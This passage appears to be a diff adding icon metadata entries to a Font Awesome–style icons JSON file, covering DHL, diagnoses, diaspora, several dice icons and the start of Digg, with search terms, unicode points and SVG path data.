48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M495 225.06l-17.22 1.08c-5.27-39.49-20.79-75.64-43.86-105.84l12.95-11.43c6.92-6.11 7.25-16.79.73-23.31L426.44 64.4c-6.53-6.53-17.21-6.19-23.31.73L391.7 78.07c-30.2-23.06-66.35-38.58-105.83-43.86L286.94 17c.58-9.21-6.74-17-15.97-17h-29.94c-9.23 0-16.54 7.79-15.97 17l1.08 17.22c-39.49 5.27-75.64 20.79-105.83 43.86l-11.43-12.95c-6.11-6.92-16.79-7.25-23.31-.73L64.4 85.56c-6.53 6.53-6.19 17.21.73 23.31l12.95 11.43c-23.06 30.2-38.58 66.35-43.86 105.84L17 225.06c-9.21-.58-17 6.74-17 15.97v29.94c0 9.23 7.79 16.54 17 15.97l17.22-1.08c5.27 39.49 20.79 75.64 43.86 105.83l-12.95 11.43c-6.92 6.11-7.25 16.79-.73 23.31l21.17 21.17c6.53 6.53 17.21 6.19 23.31-.73l11.43-12.95c30.2 23.06 66.35 38.58 105.84 43.86L225.06 495c-.58 9.21 6.74 17 15.97 17h29.94c9.23 0 16.54-7.79 15.97-17l-1.08-17.22c39.49-5.27 75.64-20.79 105.84-43.86l11.43 12.95c6.11 6.92 16.79 7.25 23.31.73l21.17-21.17c6.53-6.53 6.19-17.21-.73-23.31l-12.95-11.43c23.06-30.2 38.58-66.35 43.86-105.83l17.22 1.08c9.21.58 17-6.74 17-15.97v-29.94c-.01-9.23-7.8-16.54-17.01-15.97zM281.84 98.61c24.81 4.07 47.63 13.66 67.23 27.78l-42.62 48.29c-8.73-5.44-18.32-9.54-28.62-11.95l4.01-64.12zm-51.68 0l4.01 64.12c-10.29 2.41-19.89 6.52-28.62 11.95l-42.62-48.29c19.6-14.12 42.42-23.71 67.23-27.78zm-103.77 64.33l48.3 42.61c-5.44 8.73-9.54 18.33-11.96 28.62l-64.12-4.01c4.07-24.81 13.66-47.62 27.78-67.22zm-27.78 118.9l64.12-4.01c2.41 10.29 6.52 19.89 11.95 28.62l-48.29 42.62c-14.12-19.6-23.71-42.42-27.78-67.23zm131.55 131.55c-24.81-4.07-47.63-13.66-67.23-27.78l42.61-48.3c8.73 5.44 18.33 9.54 28.62 11.96l-4 64.12zM256 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm25.84 125.39l-4.01-64.12c10.29-2.41 19.89-6.52 28.62-11.96l42.61 48.3c-19.6 14.12-42.41 23.71-67.22 27.78zm103.77-64.33l-48.29-42.62c5.44-8.73 9.54-18.32 11.95-28.62l64.12 4.01c-4.07 24.82-13.66 47.64-27.78 67.23zm-36.34-114.89c-2.41-10.29-6.52-19.89-11.96-28.62l48.3-42.61c14.12 19.6 23.71 42.42 27.78 67.23l-64.12 4z" + } + }, + "free": [ + "solid" + ] + }, + "dhl": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dalsey", + "Hillblom and Lynn", + "german", + "package", + "shipping" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f790", + "label": "DHL", + "svg": { + "brands": { + "last_modified": 1546440860980, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z" + } + }, + "free": [ + "brands" + ] + }, + "diagnoses": { + "changes": [ + "5.0.7", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "analyze", + "detect", + "diagnosis", + "examine", + "medicine" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f470", + "label": "Diagnoses", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635443, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M496 256c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm-176-80c48.5 0 88-39.5 88-88S368.5 0 320 0s-88 39.5-88 88 39.5 88 88 88zM59.8 364c10.2 15.3 29.3 17.8 42.9 9.8 16.2-9.6 56.2-31.7 105.3-48.6V416h224v-90.7c49.1 16.8 89.1 39 105.3 48.6 13.6 8 32.7 5.3 42.9-9.8l17.8-26.7c8.8-13.2 7.6-34.6-10-45.1-11.9-7.1-29.7-17-51.1-27.4-28.1 46.1-99.4 17.8-87.7-35.1C409.3 217.2 365.1 208 320 208c-57 0-112.9 14.5-160 32.2-.2 40.2-47.6 63.3-79.2 36-11.2 6-21.3 11.6-28.7 16-17.6 10.5-18.8 31.8-10 45.1L59.8 364zM368 344c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-96-96c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-160 8c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm512 192H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "diaspora": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f791", + "label": "Diaspora", + "voted": true, + "svg": { + "brands": { + "last_modified": 1558987775895, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M251.64 354.55c-1.4 0-88 119.9-88.7 119.9S76.34 414 76 413.25s86.6-125.7 86.6-127.4c0-2.2-129.6-44-137.6-47.1-1.3-.5 31.4-101.8 31.7-102.1.6-.7 144.4 47 145.5 47 .4 0 .9-.6 1-1.3.4-2 1-148.6 1.7-149.6.8-1.2 104.5-.7 105.1-.3 1.5 1 3.5 156.1 6.1 156.1 1.4 0 138.7-47 139.3-46.3.8.9 31.9 102.2 31.5 102.6-.9.9-140.2 47.1-140.6 48.8-.3 1.4 82.8 122.1 82.5 122.9s-85.5 63.5-86.3 63.5c-1-.2-89-125.5-90.9-125.5z" + } + }, + "free": [ + "brands" + ] + }, + "dice": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f522", + "label": "Dice", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635448, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M592 192H473.26c12.69 29.59 7.12 65.2-17 89.32L320 417.58V464c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48V240c0-26.51-21.49-48-48-48zM480 376c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm-46.37-186.7L258.7 14.37c-19.16-19.16-50.23-19.16-69.39 0L14.37 189.3c-19.16 19.16-19.16 50.23 0 69.39L189.3 433.63c19.16 19.16 50.23 19.16 69.39 0L433.63 258.7c19.16-19.17 19.16-50.24 0-69.4zM96 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm0-128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm128 128c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "dice-d20": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "chance", + "d&d", + "dnd", + "fantasy", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6cf", + "label": "Dice D20", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635445, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M106.75 215.06L1.2 370.95c-3.08 5 .1 11.5 5.93 12.14l208.26 22.07-108.64-190.1zM7.41 315.43L82.7 193.08 6.06 147.1c-2.67-1.6-6.06.32-6.06 3.43v162.81c0 4.03 5.29 5.53 7.41 2.09zM18.25 423.6l194.4 87.66c5.3 2.45 11.35-1.43 11.35-7.26v-65.67l-203.55-22.3c-4.45-.5-6.23 5.59-2.2 7.57zm81.22-257.78L179.4 22.88c4.34-7.06-3.59-15.25-10.78-11.14L17.81 110.35c-2.47 1.62-2.39 5.26.13 6.78l81.53 48.69zM240 176h109.21L253.63 7.62C250.5 2.54 245.25 0 240 0s-10.5 2.54-13.63 7.62L130.79 176H240zm233.94-28.9l-76.64 45.99 75.29 122.35c2.11 3.44 7.41 1.94 7.41-2.1V150.53c0-3.11-3.39-5.03-6.06-3.43zm-93.41 18.72l81.53-48.7c2.53-1.52 2.6-5.16.13-6.78l-150.81-98.6c-7.19-4.11-15.12 4.08-10.78 11.14l79.93 142.94zm79.02 250.21L256 438.32v65.67c0 5.84 6.05 9.71 11.35 7.26l194.4-87.66c4.03-1.97 2.25-8.06-2.2-7.56zm-86.3-200.97l-108.63 190.1 208.26-22.07c5.83-.65 9.01-7.14 5.93-12.14L373.25 215.06zM240 208H139.57L240 383.75 340.43 208H240z" + } + }, + "free": [ + "solid" + ] + }, + "dice-d6": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Dungeons & Dragons", + "chance", + "d&d", + "dnd", + "fantasy", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6d1", + "label": "Dice D6", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635446, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M422.19 109.95L256.21 9.07c-19.91-12.1-44.52-12.1-64.43 0L25.81 109.95c-5.32 3.23-5.29 11.27.06 14.46L224 242.55l198.14-118.14c5.35-3.19 5.38-11.22.05-14.46zm13.84 44.63L240 271.46v223.82c0 12.88 13.39 20.91 24.05 14.43l152.16-92.48c19.68-11.96 31.79-33.94 31.79-57.7v-197.7c0-6.41-6.64-10.43-11.97-7.25zM0 161.83v197.7c0 23.77 12.11 45.74 31.79 57.7l152.16 92.47c10.67 6.48 24.05-1.54 24.05-14.43V271.46L11.97 154.58C6.64 151.4 0 155.42 0 161.83z" + } + }, + "free": [ + "solid" + ] + }, + "dice-five": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f523", + "label": "Dice Five", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635446, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "dice-four": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f524", + "label": "Dice Four", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635447, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "dice-one": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f525", + "label": "Dice One", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635447, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM224 288c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "dice-six": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f526", + "label": "Dice Six", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635447, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "dice-three": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f527", + "label": "Dice Three", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635447, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm96 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "dice-two": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "chance", + "gambling", + "game", + "roll" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f528", + "label": "Dice Two", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635448, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M384 32H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h320c35.35 0 64-28.65 64-64V96c0-35.35-28.65-64-64-64zM128 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm192 192c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "digg": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1a6", + "label": "Digg Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860980, + "raw": "<svg 